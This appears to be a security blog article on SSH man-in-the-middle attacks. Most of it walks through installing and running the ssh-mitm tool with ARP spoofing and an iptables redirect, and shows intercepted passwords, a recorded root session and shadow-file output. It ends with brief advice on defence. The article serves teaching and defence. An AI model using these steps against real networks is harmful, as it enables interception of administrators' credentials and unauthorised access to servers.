How well protected are your SSH sessions?



    Performing daily tasks of the system administrator is considered safe when working through an SSH session. This article will discuss modern tools for conducting MITM attacks on the SSH protocol and how to protect yourself from them.

    Arsenal


    sshmitm

    There is a tool that appeared a long time ago and is called sshmitm . It is included in the Kali Linux Pentest distribution kit, but only supports the first version of the SSH protocol, which imposes serious limitations in the modern infrastructure.


    mitmproxy

    There is another tool that, in particular, allows you to conduct a MitM attack on the SSH protocol - mitmproxy (not to be confused with another mitmproxy ). It can be downloaded from github . This tool allows you to work with authentication by key, but it never worked for me. The tool has not been supported for 4 years and does not work out of the box. First, you need to fix a few errors in the source code.

    After fixing the errors, the tool allows a MitM attack using password authentication.



    intercepter-ng

    It would be strange not to mention the Intercepter-ng tool , which allows, among other things, a classic MitM attack on the SSH protocol.



    ssh-mitm

    And just recently another tool appeared - ssh-mitm

    GitHub.

    It is OpenSSH v7.5p1 with a patch that allows you to work as a proxy between the SSH client and the original SSH server. We will consider it in more detail.

    Installation


    Download the distribution kit on github and run the installation script

    git clone https://github.com/jtesta/ssh-mitm.git
    cd ssh-mitm
    ./install.sh

    The script will install all the dependencies, download the openssh-7.5p1 sources, patch them, configure and compile. As a result, you will see a message

    Done!  The next step is to use JoesAwesomeSSHMITMVictimFinder.py to find target IPs, then execute run.sh and ARP spoof.

    The / home / ssh-mitm directory will also be created.

    Conducting an attack


    In order to conduct a MitM attack on the SSH protocol, we first need to redirect the victim traffic to our machine, instead of the original SSH server. After installing ssh-mitm, we can use the script included in the kit to search for ssh-sessions on the network.

    The JoesAwesomeSSHMITMVictimFinder.py script is located in the directory where you cloned the git repository and does the following:

    1. Conducts arp-spoofing of a block of IP addresses (the block size is set by the parameter, by default it is 5)
    2. Waits a few seconds (the timeout is set by the parameter, the default is 20 seconds)
    3. Displays found SSH sessions in the console
    4. Advances to the next block

    For arp-spoofing, ettercap is used, and for sniffing network packets, tshark.
    Both tools are included by default with the Kali Linux distribution.

    When you run the script, you may receive the message “The Python3 netaddr and / or netifaces module is not installed”. Corrected by running the command:

    apt install python3-netaddr python3-netifaces

    Example script run:

    ./JoesAwesomeSSHMITMVictimFinder.py --interface eth0 --listen-time 5
    

    Output Example:

    Local servers:
      * 192.168.1.5 -> 192.168.1.4:22

    After the goals are defined, you need to run another script - run.sh, which is also located in the git directory.

    It actually starts the sshd_mitm service, sets the ip_forward system parameter to 1, thereby allowing transit packets and creates an iptables rule that redirects all packets to a fake SSH server.

    root@kalix64:~/mitm_and_spoof/ssh-mitm# iptables -t nat -L
    Chain PREROUTING (policy ACCEPT)
    target     prot opt source               destination         
    REDIRECT   tcp  --  anywhere             anywhere             tcp dpt:ssh redir ports 2222
    root@kalix64:~/mitm_and_spoof/ssh-mitm# netstat -tlpan
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
    tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN      13241/sshd_mitm     
    

    The run.sh script does not launch an arp-spoofing attack. You need to do this yourself, for example, using arpspoof or ettercap.

    arpspoof -i eth0 -t 192.168.1.4 -r 192.168.1.5
    

    To obtain the victim’s credentials, it’s convenient to view the auth.log file using tail.

    tail -f /var/log/auth.log
    

    When the victim (192.168.1.5) tries to connect to the original SSH server (192.168.1.4), she will certainly see a message about changing the public key of the server

    ubuntu@gns3_1:~$ ssh ubuntu@192.168.1.4
    The authenticity of host '192.168.1.4 (192.168.1.4)' can't be established.
    ED25519 key fingerprint is SHA256:kn+iT7WwgO6Wlh0xN4KQXB8P/JaHLcRx04gYTvNdjCM.
    Are you sure you want to continue connecting (yes/no)?

    UPD: In 99% of cases, many administrators answer the similar question “yes”.

    Next, the victim enters the username and password, and an entry appears in the auth.log log on the attacker's machine

    Aug 29 16:55:08 kalix64 sshd_mitm[13426]: INTERCEPTED PASSWORD: hostname: [192.168.1.4]; username: [ubuntu]; password: [qwerty123] [preauth]
    Aug 29 16:55:08 kalix64 sshd_mitm[13426]: Accepted password for ssh-mitm from 192.168.1.5 port 37838 ssh2
    

    And we see the session_0.txt file with the recorded session in / home / ssh-mitm:

    Last login: Tue Aug 29 16:46:03 2017 from ns.secret.lab
    ESC]0;ubuntu@ubuntu: ~^Gubuntu@ubuntu:~$ ccdd  //eettcc
    ESC]0;ubuntu@ubuntu: /etc^Gubuntu@ubuntu:/etc$ ccaatt  //eettcc//sshhaadd       ^Gow^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?
    ^H^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^Gssuuddoo  ssuu  --
    [sudo] password for ubuntu: qwerty123
    ESC]0;root@ubuntu: ~^Groot@ubuntu:~# ccdd  //eettcc//^?^HESC[K
    ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# ccaatt  sshhaadd     ^Gow    ^G      
    shadow   shadow-  
    ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# cat shadow
    root:!:17040:0:99999:7:::
    daemon:*:17001:0:99999:7:::
    bin:*:17001:0:99999:7:::
    sys:*:17001:0:99999:7:::
    sync:*:17001:0:99999:7:::
    games:*:17001:0:99999:7::

    As you can see, some data is being doubled. This is due to the fact that both user input and output are recorded. The sudo program, for example, temporarily disables “echo” and the qwerty123 password is displayed “normally”

    ssh-mitm, in my opinion, represents the recorded session in a more convenient form than mitmproxy



    In the screenshot above, I tried to enter the console

    cat /etc

    If the target server does not allow password authentication, but only by key, ssh-mitm will still offer password authentication and will simply disconnect after entering the credentials, since the original server will not accept credentials. But the attacker will get some kind of password and will be able to use it in the future, since the administrator is unlikely to enter something that does not exist.

    Protection


    Oddly enough, to protect against such attacks, nothing additional is required to be installed in the system. All that is needed is to prohibit password authentication with the directive

    PasswordAuthentication no

    And use key authentication.

    This will protect the service from attacking too many credentials, i.e. brute force.

    Also, do not indiscriminately accept the changed server fingerprint. By itself, it usually does not change, and if you yourself are responsible for the server to which you are connecting and know that you did not reinstall anything there, it is worth checking once again whether a MitM attack is currently being carried out.

    Also popular now: